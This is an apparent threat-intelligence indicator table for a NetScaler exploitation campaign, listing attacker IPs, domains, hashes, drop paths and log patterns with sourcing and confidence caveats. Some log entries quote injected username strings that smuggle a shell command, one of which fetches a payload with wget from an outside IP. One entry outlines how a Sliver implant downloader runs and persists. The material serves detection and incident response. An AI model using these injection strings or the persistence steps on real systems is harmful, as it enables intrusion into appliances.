File path/var/tmp/watchTowrwatchTowr Detection Artefact Generator [58]README example output path of the CVE-2026-88771 detection tool (id>/var/tmp/watchTowr)Test marker from a public watchTowr detection tool (README example path). A hit means someone ran the tool, possibly a defender, not necessarily an attacker. The operator can choose any path.Public GitHub repository, no TLP marking
File path/tmp/watchTowrwatchTowr Detection Artefact Generator [60]README example output path of the CVE-2026-88772 (DTLS) detection tool; the example writes a 7-byte fileTest marker from a public watchTowr detection tool (README example path). A hit means someone ran the tool, possibly a defender, not necessarily an attacker. The operator can choose any path.Public GitHub repository, no TLP marking
Log stringpitboss PPE unexpectedly died NSPPE;printf wt88771mbw9drneqklf>/var/netscaler/logon/themes/wt88771mbw9drneqklf.txt;# Xr/Citrix [170]Injected username that writes a marker file into the logon themes directory (execution test)Single Reddit commenter, unverified. The wt88771 prefix with a random suffix looks like a detection canary, but it does not appear in watchTowr's published tool or write-up, so do not attribute it to watchTowr. Treat as a hunting lead.Public Reddit comment
File path/var/netscaler/logon/themes/wt88771mbw9drneqklf.txtr/Citrix [170]Marker file created by the command above; hunt for wt88771*.txt under /var/netscaler/logon/themes/Single Reddit commenter, unverified. The wt88771 prefix with a random suffix looks like a detection canary, but it does not appear in watchTowr's published tool or write-up, so do not attribute it to watchTowr. Treat as a hunting lead.Public Reddit comment
Log stringpitboss PPE unexpectedly died NSPPE;wget http://31.56.197.72:9090/lula;# Xr/Citrix [170]; LevelBlue SpiderLabs (THOR team) [82]Payload retrieval from 31.56.197.72, also described by LevelBlue; the same host appears in the Arctic Wolf and TENEX dataSingle Reddit commenter, unverified. The wt88771 prefix with a random suffix looks like a detection canary, but it does not appear in watchTowr's published tool or write-up, so do not attribute it to watchTowr. Treat as a hunting lead. The wget line itself matches LevelBlue's published example.Public Reddit comment
IPv4213.209.159.55Beaumont, Oct 2 19:01 UTC [128]; VirusTotal [112]; Poppelgaard [75]; Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; Rapid7 [86]Named as the payload server in screenshots of a write-up attached to the Beaumont post (author not named): crafted SAML-factor usernames on two 14.1-73.37 appliances made them fetch a payload from it over plain HTTP on TCP 443 (paths under /t/), save it as /v and run it, just before each crash. The Poppelgaard checker calls it the exfiltration host of the SAML-attack dropper "380d56" (2 Oct, community analysis). A VirusTotal community comment also says a Perl payload related to NetScaler exploits is hosted on this IP. Beazley Security's IoC table (4 Oct) publicly lists it as "Exploit and payload delivery". Rapid7's October incident analysis now vendor-confirms the address from a real compromise as the stage server that delivered /v and 1.sh/17447d.sh and collected staged data. AS208137, Feo Prest SRL, Germany.The write-up itself said it showed exploitation attempts and correlated crashes, not confirmed command execution - Rapid7's IR has now closed that gap with first-hand evidence. The payload-vs-exfiltration role differs between the earlier sources; Beazley's table confirms both roles. Either role means an infected appliance would connect out to this host, so it is kept in this site's IPv4 edge blocklist as defence in depth.Public Mastodon post (screenshots)
SHA-256b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63VirusTotal [112]Perl script (24.57 KB), first submitted to VirusTotal on 2 Oct at 17:29 UTC. THOR (Nextron) commented a Valhalla rule match, MAL_EXPL_CVE_2026_88771_Oct26 (detects a CVE-2026-88771 post-exploitation script), and a community comment says it is a NetScaler exploit payload hosted on 213.209.159.55. Re-checked 3 Oct 16:14 UTC: 4 of 75 engines flag it (UDS:Backdoor.Win32.Tofsee, Win32.Hack.Tofsee.a, Backdoor.Perl!9.85243, Kaspersky HEUR:Backdoor/Perl.WebShell.b)Still the weaker of the two payloads: four heuristic/backdoor labels, no engine names the NetScaler campaign, and no public report ties this hash to f.pylrk.cc or the Sliver implant - it came from a different delivery host (213.209.159.55). The file content was not reviewed here, and no vendor report names it.Public VirusTotal page
SHA-2560188b0eba4b01c4fb838df9d1d76c76d7f1dc22897e25161975b606c134c1027External malware analysis report (TLP:CLEAR, 2 Oct) [81]; VirusTotal [113]; Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]Sliver C2 implant built for FreeBSD (the OS under NetScaler): statically linked stripped Go ELF64, 8,822,784 bytes, MD5 117ba08492fe68726dae74b40d375c28. Served over HTTPS from f.pylrk.cc/HaKi2ufpiQ8AeVTZ/host (HTTP/2 200, application/octet-stream, Cloudflare-fronted; re-verified live 3 Oct). Hardcoded C2 https://www.pylrk.cc, protocol tag pylrkfbsd, IMPLANT_CAPABILITY_TUNNEL_TERMINAL_V1 (reverse shell/tunnel), spoofed Chrome 108/Windows User-Agent for its own beacons, no embedded IP. VT filenames include /var/tmp/.host, /private/var/tmp/.host and citrix3.bad - appliance deployment paths. 31 of 75 engines on VirusTotal (3 Oct 14:25 UTC), all Sliver/Vilers-family labels; first submitted 2 Oct 11:49 UTC. A TLP:CLEAR malware analysis report (2 Oct) ties it to CVE-2026-88771 exploitation of a NetScaler Gateway, corroborated by an Expel IR observation; Expel reported netcat-style reverse callbacks in the same campaign. Beazley Security's 4 Oct analysis adds: implant named Pylrkfbsd, connects to www.pylrk.cc over HTTPS with fallback to HTTP on port 80, first-connection registration reports the appliance hostname, a MAC-address-derived unique ID, running account, process ID and file path, encrypts traffic with a new key per session, accepts task/tunnel/settings/shutdown commands, and retries up to 1,000 times.Vendor-independent: an external team's static analysis (sample not executed), plus Expel corroboration and Beazley IR - strong for this campaign, but not a vendor or CERT publication. Detection labels are all Sliver/Vilers; the FreeBSD build and pylrk.cc C2 are what tie it here. Cloudflare fronts the delivery host, so block the domain and hash, not the IPs.Public VirusTotal page and TLP:CLEAR report
URL path/HaKi2ufpiQ8AeVTZ/hostExternal malware analysis report (TLP:CLEAR, 2 Oct) [81]; VirusTotal [113]Delivery path of the FreeBSD Sliver implant on f.pylrk.cc:443 (HTTPS, HTTP/2 200, application/octet-stream, 8,822,784 bytes); live and unchanged 3 Oct, per the TLP:CLEAR malware analysis report and re-verified directlyPath is random-looking and may rotate; hunt it in proxy logs together with the f.pylrk.cc hostname. A negative result proves nothing - the file may be served from other paths.Public VirusTotal page and TLP:CLEAR report
File path/var/tmp/.host (and /private/var/tmp/.host)External malware analysis report (TLP:CLEAR, 2 Oct) [81]; VirusTotal [113]; Poppelgaard [75]Filename VT records for the FreeBSD Sliver implant, consistent with deployment on a NetScaler/FreeBSD appliance; citrix3.bad is another recorded name. Per checker v1.13: citrix3.bad and an executable /var/tmp/.host are flagged as compromise; any other /var/tmp/.host only as a [CHECK]From VT filename metadata and the external report, not from IR on a victim appliance. A hit on the executable variant: preserve the file and investigate and correlate before concluding compromise. A missing file does not rule out compromise. /tmp and /var/tmp clear on reboot.Public VirusTotal page and TLP:CLEAR report
Domainpylrk.ccPoppelgaard [80]; Poppelgaard [75]; Beaumont, Oct 2 19:01 UTC [128]; External malware analysis report (TLP:CLEAR, 2 Oct) [81]C2 and payload-delivery domain: registered 2 Oct 06:56 UTC (NameSilo, Cloudflare NS). Poppelgaard reported it as a download server seen in attack attempts on 2 Oct (article and checker release 1.11). The FreeBSD Sliver implant served from f.pylrk.cc carries a hardcoded C2 reference to https://www.pylrk.cc and resolves its C2 via this domain (TLP:CLEAR malware analysis report, corroborated by Expel). The write-up screenshotted in the Beaumont post spells it *.pyrlink.cc in an edit ("Block that too"), but that domain is not registered; the screenshots also do not name the delivery host, so the two spellings may describe the same host. The checker v1.11 list also carried pyrlnk.cc, a third unregistered spelling; Poppelgaard removed it in v1.12 as a misspelling of pylrk.cc (issue #3, credited to PitScaler), leaving pylrk.cc as the only registered spelling. Passive DNS shows f.pylrk.cc A records from 2 Oct 11:50 UTC on Cloudflare proxy IPs (104.21.30.48 / 172.67.150.149); www.pylrk.cc also resolves there, the apex has no A record. Re-checked live 3 Oct.Malware-role now multi-source (checker, MAR, Expel corroboration, embedded C2 string in the implant). VirusTotal: 1 of 91 engines flags the apex and f.pylrk.cc - weak as always on fresh infrastructure. The spelling *.pyrlink.cc from the screenshots is unregistered. Cloudflare-fronted: block the domain name, not the resolved IPs (shared with millions of sites).Public blog, GitHub release and TLP:CLEAR report
Domainf.pylrk.ccExternal malware analysis report (TLP:CLEAR, 2 Oct) [81]; VirusTotal [113]Payload-delivery subdomain of pylrk.cc: served the FreeBSD Sliver implant (8,822,784 bytes) at /HaKi2ufpiQ8AeVTZ/host over HTTPS, per the TLP:CLEAR malware analysis report (2 Oct, corroborated by Expel). First seen in passive DNS 2 Oct 11:50 UTC on Cloudflare proxy IPs; Let's Encrypt certificate CN=pylrk.cc issued 2 Oct 06:01 UTC; still serving 3 Oct (re-verified). Root path returns a minimal placeholder page (<h1>c</h1><p>ok</p>).Multi-source and independently verifiable, but vendor-independent - not a vendor or CERT publication. Cloudflare-fronted: block the hostname, never the proxy IPs. Subdomains under pylrk.cc may rotate; hunt *.pylrk.cc in DNS logs rather than this single host.Public VirusTotal page and TLP:CLEAR report
File path/nsconfig/.nsl and /var/nslog/.nslPrevidian (@PrevidianCyber) [77]; Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; External malware analysis report (TLP:CLEAR, 2 Oct) [81]Drop paths for the installer script Previdian reports being dropped on their NetScaler sensors during CVE-2026-88771 exploitation attempts; the script retrieves the 'host' ELF (the FreeBSD Sliver implant, hash 0188b0eb...) from f.pylrk.cc and persistence via rc.netscaler matches the SAML-attack kit already documented here. Beazley Security lists a Sliver download script (SHA-256 c2f5532f..., below) whose behaviour matches: it fetches https://f.pylrk.cc/HaKi2ufpiQ8AeVTZ/host, writes it to /nsconfig/.nsl (fallback /var/nslog/.nsl), chmod 755, launches it with nohup and appends a re-exec line to /nsconfig/rc.netscaler; it also drops a system-info page at /var/netscaler/logon/LogonPoint/ns_ctx.html (uname -srm output)Single-source sensor observation (Previdian, 5 Oct, unverified by others); the Beazley hash independently confirms the same drop-path behaviour. A missing file proves nothing - these are checked by the checker's compromise sweep anyway; hunt them as secondary confirmation paths.Public post, no TLP marking
SHA-256c2f5532f3209dce0bd30ead47a2616a74ce8170324ef68dfd59acac3f5f1da34Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; External malware analysis report (TLP:CLEAR, 2 Oct) [81]; Previdian (@PrevidianCyber) [77]Sliver download script (Beazley Security, BSL-A1216: "Sliver download script", attribution Analysis). Shell script: fetches the FreeBSD Sliver implant from https://f.pylrk.cc/HaKi2ufpiQ8AeVTZ/host to /nsconfig/.nsl (fallback /var/nslog/.nsl), chmod 755, launches it via nohup, appends a nohup re-exec line to /nsconfig/rc.netscaler for persistence, and writes uname -srm output to /var/netscaler/logon/LogonPoint/ns_ctx.html. VirusTotal (6 Oct): shell script, 6 of 75 engines (Linux/TrojanDownloader.SH.GWZ, UDS:Trojan.Shell.SBadur.gen, Agent5.DPN, Win32.Troj.Undef.a, Trojan:Script/Wacatac.B!ml). VT report: https://www.virustotal.com/gui/file/c2f5532f3209dce0bd30ead47a2616a74ce8170324ef68dfd59acac3f5f1da34Behaviour independently ties it to the f.pylrk.cc delivery chain and the /nsconfig/.nsl drop paths Previdian reported; attribution is Beazley IR (relayed via their public advisory). Low VT score is normal for a two-line downloader.Public advisory
SHA-25674da9485815ee124e2ebe155dbcfb758b54bd97760956998abf64838c865f78bPoppelgaard [75]Payload hash from the 2 Oct SAML-attack wave, relayed via Gotham Technology Group (ThreatUnpacked, r/Citrix and Valhalla sources; compiled in the Poppelgaard checker v1.12 as GK_HASHES; checked in the web, Gateway plugin/media folders, /nsconfig/.slap and /var/tmp/.ux). The checker groups these 11 hashes as: the downloaded /v script of the 2 Oct attack, SAML-attack kit generations 2 and 3, the chisel tunnel, Sliver implants and a Perl payload. VirusTotal (7 Oct): shell script, 3 of 75 engines malicious (analysis 6 Oct). VT report: https://www.virustotal.com/gui/file/74da9485815ee124e2ebe155dbcfb758b54bd97760956998abf64838c865f78bCommunity-sourced compilation via Gotham; the checker does not name which file each hash is, and no vendor report has confirmed them individually. Weak-to-moderate VT scores. Match on content, not name.Public GitHub repository, no TLP marking
SHA-256ec6d42cc99e3c7870dc11606643e8b296e4aadafaf886f05506e1f515aa55eeePoppelgaard [75]GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 5 of 75 engines (UDS:Backdoor.Win32.Tofsee, HEUR:Backdoor/Perl.WebShell.b, Win32.Hack.Tofsee.a, Trojan:Script/Wacatac.B!ml). VT report: https://www.virustotal.com/gui/file/ec6d42cc99e3c7870dc11606643e8b296e4aadafaf886f05506e1f515aa55eeeCommunity-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise.Public GitHub repository, no TLP marking
SHA-25612b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0Poppelgaard [75]GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (HEUR:Backdoor/Perl.WebShell.b; analysis 2 Oct). VT report: https://www.virustotal.com/gui/file/12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise.Public GitHub repository, no TLP marking
SHA-25683307fb218b557a0a1cab46e094b038f9b795d2d02bd04ac7ce4e0d3eb4ec8c3Poppelgaard [75]GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (HEUR:Backdoor/Perl.WebShell.b; analysis 2 Oct). VT report: https://www.virustotal.com/gui/file/83307fb218b557a0a1cab46e094b038f9b795d2d02bd04ac7ce4e0d3eb4ec8c3Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise.Public GitHub repository, no TLP marking
SHA-256b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36bPoppelgaard [75]GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (HEUR:Backdoor/Perl.WebShell.b; analysis 2 Oct). VT report: https://www.virustotal.com/gui/file/b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36bCommunity-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise.Public GitHub repository, no TLP marking
SHA-25612ff1448594844ffe072674e4da36c2bb92bce19bfdf494bcae0542ce6e1731aPoppelgaard [75]GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (analysis 3 Oct). VT report: https://www.virustotal.com/gui/file/12ff1448594844ffe072674e4da36c2bb92bce19bfdf494bcae0542ce6e1731aCommunity-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise.Public GitHub repository, no TLP marking
SHA-256d04663bdab3183c94381d19eec7af59f90890497d5ad95c7af1c00d0fe8901dcPoppelgaard [75]GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (HEUR:Backdoor/Perl.WebShell.b; analysis 3 Oct). VT report: https://www.virustotal.com/gui/file/d04663bdab3183c94381d19eec7af59f90890497d5ad95c7af1c00d0fe8901dcCommunity-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise.Public GitHub repository, no TLP marking
SHA-2560a7f88a74e82725e8ceaf9aa0b25b43c43105ff7653b29a0cbba94ce40b04447Poppelgaard [75]GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 3 of 75 engines (analysis 6 Oct). VT report: https://www.virustotal.com/gui/file/0a7f88a74e82725e8ceaf9aa0b25b43c43105ff7653b29a0cbba94ce40b04447Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise.Public GitHub repository, no TLP marking
SHA-256602b859d38c02c559f62e5c6f7ba30265b2ffd7faf528a3b0151727c7a1dc2d3Poppelgaard [75]GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 4 of 75 engines (analysis 7 Oct). VT report: https://www.virustotal.com/gui/file/602b859d38c02c559f62e5c6f7ba30265b2ffd7faf528a3b0151727c7a1dc2d3Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise.Public GitHub repository, no TLP marking
SHA-256899299dcaa6531e450cfc844f7948bc3180c6cbebc43cf751e65ee261f6732cdPoppelgaard [75]GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (HEUR:Backdoor/Perl.WebShell.b; analysis 3 Oct). VT report: https://www.virustotal.com/gui/file/899299dcaa6531e450cfc844f7948bc3180c6cbebc43cf751e65ee261f6732cdCommunity-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise.Public GitHub repository, no TLP marking
SHA-25684f23d964ab636c81d95c3185f06a2ec628a9762dc767131d775500caf8dda0aPoppelgaard [75]Chisel tunnel binary of the 2 Oct SAML-attack group (GK_HASHES, Poppelgaard checker v1.12 via Gotham Technology Group). VirusTotal (7 Oct): ELF, 16 of 75 engines - the strongest of the eleven (Unix.Tool.HTTPTunnel, Linux/HackTool.Chisel.V, ELF:Chisel-G [PUP], score 99); analysis 1 Oct. VT report: https://www.virustotal.com/gui/file/84f23d964ab636c81d95c3185f06a2ec628a9762dc767131d775500caf8dda0aChisel is a legitimate open-source HTTP tunnel also used by pentesters; the ELF label names the tool family, not the actor. Its presence in this group ties it to the campaign, but a chisel binary alone is not proof of compromise.Public GitHub repository, no TLP marking
IP range138.199.60.0/24 (Huntback decoys .22/.36 and Gotham crash payloads from .5 known individually; full /24 is a hunting lead)Poppelgaard [75]Per Gotham Technology Group (5 Oct, shared with permission, carried in checker v1.13): the hosting/VPN range used throughout the SAML attack - CVE-2026-88779 crash payloads from .5, near-daily SAML POSTs since 19 Sep without a successful sign-in, and webshell polling from .22/.36. The checker hunts the whole /24 as a [CHECK] hunting lead only (shared hosting/VPN space, never red on its own), while .5, .22 and .36 are listed individually as attacker/decoy IPsRange-level hunting lead: shared hosting and VPN space, so individual hosts in it may be benign. Correlate what was requested and whether any sign-in succeeded before acting on other addresses in the range.Public GitHub repository, no TLP marking
IP rangePassword-spray sources: 138.226.239.0/24, 185.136.15.0/24, 77.91.71.0/24, 93.152.219.115Poppelgaard [75]Password-spray source ranges seen against a Gateway on 27 Sep (Gotham, via the Poppelgaard checker v1.11); the checker counts failed logins from these ranges as targetedHunting lead: failed logins from cloud/ISP ranges are constant background noise on any public Gateway - the ranges alone are not compromise evidence. Correlate with campaign indicators before acting; do not block the ranges on this alone.Public GitHub repository, no TLP marking
File path/var/tmp/c1.txt, /var/tmp/c2.txt, /var/tmp/labels.txtPoppelgaard [75]Stolen-config export files seen alongside the admin-persistence payload (Deyda triage script v9.43, carried in the Poppelgaard checker v1.10); the checker also hunts copies of ns.conf and the .F1.key/.F2.key key-encryption files in web or temp folders, contents not shownFrom a public triage script, not a vendor report. A missing file does not rule out earlier theft; a hit means configuration data was staged - preserve and inspect securely, rotate if confirmed.Public GitHub repository, no TLP marking
Log patternShell history touching /flash/nsconfig/keys, F1.key/F2.key, database.php or LDAPTLS_REQCERTPoppelgaard [75]Key and config theft in sh.log/bash.log history (Poppelgaard checker v1.7, from Deyda); a hit before the fix means keys and passwords should be rotatedLegitimate admins touch these files too - check who ran the command and when before treating it as theft.Public GitHub repository, no TLP marking
Log pattern1-byte nsepa.deb probes (HTTP 206)Poppelgaard [75]Pre-check probes for the Gateway client-package path (Gotham, via the Poppelgaard checker v1.7): a 1-byte HTTP 206 response confirms the endpoint accepts range requests before staging a fake .deb webshellHunting lead, not attack proof - range probes also come from download managers. Means the box was probed, not that a webshell landed.Public GitHub repository, no TLP marking
IPv413.59.243.24Poppelgaard [75]Gateway recon scanner that hits many Gateways for the TENEX c88771.json marker (Gotham, via the Poppelgaard checker v1.11). Amazon AWSHunting lead, not attack proof. AWS is shared infrastructure used by researchers and scanners alike; correlate before acting.Public GitHub repository, no TLP marking
Domainoast.funPoppelgaard [75]Domain in the Poppelgaard checker v1.11 DNS-hunt list (14 domains); the checker does not state which source observed it or what it servedLow confidence and dual use: oast.fun is a known out-of-band-testing domain family used by security tooling (Interact.sh-style OAST callbacks), so a hit can be a researcher's or pentester's test, not the actor. Hunting lead only; do not block without context.Public GitHub repository, no TLP marking
Domaindnsl.ccPoppelgaard [75]Domain in the Poppelgaard checker v1.11 DNS-hunt list (14 domains); the checker does not state which source observed it or what it servedSingle compiled list; no public source describes this domain's role in the campaign. A short generic domain whose ownership is privacy-redacted. Hunting lead only.Public GitHub repository, no TLP marking
Domaings.thc.orgPoppelgaard [75]; TENEX [74]Domain in the Poppelgaard checker v1.11 DNS-hunt list (14 domains); the checker does not state which source observed it or what it servedLow confidence and dual use: thc.org subdomains are associated with the Hacker's Choice gsocket reverse-shell tooling, which is used by both penetration testers and attackers (TENEX lists gsocket in the same campaign - see the gsocket rows). A hit needs correlation with other indicators before it means anything. Hunting lead only.Public GitHub repository, no TLP marking
Domainwebhook.siteBeazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; Poppelgaard [75]Request-capture service used for exfiltration in the second wave of this campaign, per Beazley Security (BSL-A1216, carried in the Poppelgaard checker v1.12 via Gotham). VirusTotal: 1 of 91 engines - expected for a legitimate dual-use servicewebhook.site is a legitimate public request-inspection tool used by developers and penetration testers every day; only its abuse in this campaign makes it an indicator. Never block the service wholesale - hunt its use in NetScaler outbound logs and correlate with other campaign indicators.Public advisory and GitHub repository, no TLP marking
Domaindnshook.siteBeazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; Poppelgaard [75]DNS-capture service used alongside webhook.site for second-wave exfiltration, per Beazley Security (BSL-A1216, via the Poppelgaard checker v1.12). VirusTotal: 12 of 91 enginesSame dual-use caveat as webhook.site: a capture service that is legitimate in other contexts. Hunt and correlate; do not blanket-block without understanding your traffic.Public advisory and GitHub repository, no TLP marking
IPv451.158.203.95Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; Poppelgaard [75]; Previdian (@PrevidianCyber) [77]Second-wave exploitation infrastructure per Beazley Security (BSL-A1216, updated through 4 Oct; via the Poppelgaard checker v1.12). Previdian reports their sensors saw this IP targeting multiple vulnerabilities across their network since 25 August. WHOIS: Scaleway, Amsterdam. VirusTotal: 1 of 91 engines malicious, 2 suspicious (5 Oct)IR observation shared with permission and relayed through two parties; the 25 Aug first-seen is Previdian's sensor observation, single-source. Attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. Low VT score does not prove safety.Public advisory and GitHub repository, no TLP marking
IPv4185.244.213.112Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; Poppelgaard [75]Second-wave exploitation infrastructure per Beazley Security (BSL-A1216, updated through 4 Oct; carried in checker v1.12 alongside 51.158.203.95 and 158.94.211.205). WHOIS: M247, Paris. VirusTotal: 0 of 91 engines (6 Oct)IR observation shared with permission and relayed through two parties; Beazley's advisory was not reviewed directly for this entry, provenance is via the checker. Clean VT proves nothing - fresh infrastructure scores zero.Public advisory and GitHub repository, no TLP marking
IPv4104.207.47.54Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]Exploit delivery per Beazley Security's BSL-A1216 IoC table (attribution: Beazley Security), read directly from the advisory (updated 4 Oct). RIPE space, announced via 3xK Tech GmbH (DE). VirusTotal (6 Oct): 1 of 92 engines malicious, 1 suspicious (analysis 29 Sep). VT report: https://www.virustotal.com/gui/ip-address/104.207.47.54Beazley IR observation; attacker IPs can be unique to one victim and absence elsewhere is not proof of a clean host. Low VT score proves nothing - fresh infrastructure.Public advisory
IPv4104.207.46.202Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]Exploit delivery per Beazley Security's BSL-A1216 IoC table (Beazley Security), read directly from the advisory (updated 4 Oct). RIPE space, announced via 3xK Tech GmbH (DE). VirusTotal (6 Oct): 0 of 92 engines, 3 suspicious (analysis 6 Oct). VT report: https://www.virustotal.com/gui/ip-address/104.207.46.202Beazley IR observation; attacker IPs can be unique to one victim and absence elsewhere is not proof of a clean host. Clean VT proves nothing.Public advisory
IPv4104.207.32.77Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]Exploit delivery per Beazley Security's BSL-A1216 IoC table (Beazley Security), read directly from the advisory (updated 4 Oct). RIPE space, announced via 3xK Tech GmbH (DE). VirusTotal (6 Oct): 1 of 92 engines malicious, 1 suspicious - but the analysis dates to 26 June, before this campaign, so the flags may predate any campaign role. VT report: https://www.virustotal.com/gui/ip-address/104.207.32.77Beazley IR observation; attacker IPs can be unique to one victim and absence elsewhere is not proof of a clean host. The VT signal is stale relative to the campaign.Public advisory
IPv4158.94.211.205Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; Poppelgaard [75]Callback server on port 8080 per checker v1.12 (Beazley Security second wave, BSL-A1216); also in the checker's attacker-IP list. RIPE space (158.94.0.0/16). VirusTotal: 3 of 91 engines malicious, 4 suspicious (6 Oct)IR observation shared with permission and relayed through two parties; Beazley's advisory was not reviewed directly for this entry, provenance is via the checker. A callback server IP can be unique to one victim.Public advisory and GitHub repository, no TLP marking
IPv4138.199.60.5Poppelgaard [75]Attacker IP that sent CVE-2026-88779 crash payloads to /saml/login and /cgi/samlauth on 5 October, per Gotham Technology Group's 5 Oct update (shared with permission; carried in checker v1.13, now 105 attacker IPs). RIPE space. VirusTotal: 7 of 91 engines malicious, 2 suspicious (6 Oct)IR observation shared with permission and relayed through two parties. Attacker IPs can be unique to one victim; absence elsewhere is not proof of a clean host.Public GitHub repository, no TLP marking
IPv4138.199.60.22Poppelgaard [75]Huntback.io decoy that sent the CVE-2026-88771 NX-CVE-OK / nx_verify.html injection check, per checker v1.13 (4 Oct). RIPE space (same /24 neighbourhood as 138.199.60.5). VirusTotal: 3 of 91 engines malicious, 4 suspicious (6 Oct)Decoy/honeypot operators also run injection checks - a hit can be researcher traffic. Correlate before acting.Public GitHub repository, no TLP marking
IPv4138.199.60.36Poppelgaard [75]Huntback.io decoy that sent the CVE-2026-88771 nx_verify.html injection check, per checker v1.13. VirusTotal: 2 of 91 engines malicious (6 Oct)Decoy/honeypot caveat as for 138.199.60.22.Public GitHub repository, no TLP marking
IPv4146.70.199.170Poppelgaard [75]Huntback.io decoy that sent the CVE-2026-88771 nx_verify.html injection check, per checker v1.13. RIPE space (Inferno Solutions-adjacent ranges). VirusTotal: 0 of 91 engines, 2 suspicious (6 Oct)Decoy/honeypot caveat as for 138.199.60.22; clean VT proves nothing.Public GitHub repository, no TLP marking
IPv4146.70.211.157Poppelgaard [75]Huntback.io decoy that sent the CVE-2026-88771 nx_verify.html injection check, per checker v1.13. VirusTotal: 2 of 91 engines malicious (6 Oct)Decoy/honeypot caveat as for 138.199.60.22.Public GitHub repository, no TLP marking
